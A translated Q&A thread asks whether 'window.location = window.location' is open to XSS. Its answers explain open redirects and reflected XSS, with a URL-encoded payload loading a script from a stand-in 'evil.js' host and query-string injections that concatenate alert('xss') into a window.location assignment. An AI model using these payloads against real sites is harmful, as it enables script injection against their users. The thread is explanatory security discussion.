window.location = window.location是否容易受到XSS的影响

时间:2016-07-17 22:01:37

标签: javascript xss window.location

此问题与代码window.location = window.location有关,作为刷新页面的方法,不涉及重定向/其他变量。

我的理解如下:

window.location = window.location会导致页面刷新,因为浏览器将导航到用户已经在的相同位置。

通过DOM操作对此变量进行的任何更改都会导致页面重新加载/加载攻击者页面,因此这些行无法以更改的值执行,因此不适合跨站点脚本攻击。

这是正确的吗?

修改:我真正想问的是,是否有办法在不导致页面重新加载的情况下更改window.location,以便在window.location = window.location调用时制作完成后,浏览器将被发送到另一个位置。

2 个答案:

答案 0 :(得分:1)

这个问题与window.location无关,而且与你如何处理新环境中使用的任意数据有关。

如果您从URL获取输入并使用它来构建要重定向到的新URL,那么您可以自行解决问题。采取经典的重定向页面......

http://example.com/redirect?url=http%3A%2F%2Fsomethingevil

如果页面上有JavaScript,然后将window.location设置为查询字符串参数url的值,则该页面将转到http://somethingevil

XSS的主要方式是允许查询字符串参数将数据注入页面本身。例如,您可能有一个页面显示" Hello Brad",其中" Brad"来自名为name的URL参数。现在,假设攻击者将URL设置为name=%3Cscript%20src%3D%22http%3A%2F%2Fexample.com%2Fevil.js%22%3E%3C%2Fscript%3E。如果我只是将name的值直接注入页面,那么我的脚本evil.js将在该页面上运行。相反,如果我正确地转义数据,那么它可以在页面中使用,因为它将被解释为文本。

答案 1 :(得分:1)

因此,如果我理解您的正确要求,那么这些答案都不正确。可以利用window.location来执行xss。您似乎遇到的障碍是,在执行window.location行之后,页面将刷新并跳过您的有效负载的执行。我假设您能够以某种方式将内容引入window.location右侧的字符串中,并且输入未正确编码为JavaScript字符串。

例如,如果http://vulnerablewebsite/page?param=derp';alert('xss');var+a+%3d+'产生如下代码:

<script>
  window.location='derp';alert('xss');var a = '';
</script>

您可以只利用字符串串联将分配给window.location的时间推迟到执行有效负载之后。像这样:

http://vulnerablewebsite/page?param=derp'+%2B+alert('xss')+%2b+'

将导致以下代码执行有效负载。

<script>
  window.location='derp' + alert('xss') + '';
</script>

这确实应该在安全的StackExchange中。